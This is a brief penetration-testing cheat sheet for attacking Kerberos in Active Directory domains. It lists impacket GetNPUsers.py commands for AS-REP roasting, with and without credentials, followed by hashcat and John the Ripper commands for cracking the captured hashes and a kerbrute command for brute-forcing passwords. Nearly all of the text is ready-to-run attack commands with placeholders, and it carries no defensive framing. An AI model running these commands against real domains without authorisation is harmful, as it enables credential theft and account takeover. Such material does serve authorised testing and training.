Enumeration

AS-REP Roast

Typically found in your impacket install (e.g. /usr/share/doc/python3-impacket/examples/GetNPUsers.py)

# check ASREPRoast for a list of users (no credentials required)
python3 GetNPUsers.py <domain_name>/ -usersfile <users_file> -format [hashcat | john] -outputfile <output_AS_REP_responses_file>

# check ASREPRoast for all domain users (credentials required)
python3 GetNPUsers.py <domain_name>/<domain_user>:<domain_user_password> -request -format [hashcat | john] -outputfile <output_AS_REP_responses_file>

Crack the responses

hashcat -m 18200 -a 0 <AS_REP_responses_file> <passwords_file>
john --wordlist=<passwords_file> <AS_REP_responses_file>

Brute Force

kerbrute -dc-ip <dc_ip> -domain <domain> -users <user_list> -passwords <password_list> -outputfile <cred_output_file>

References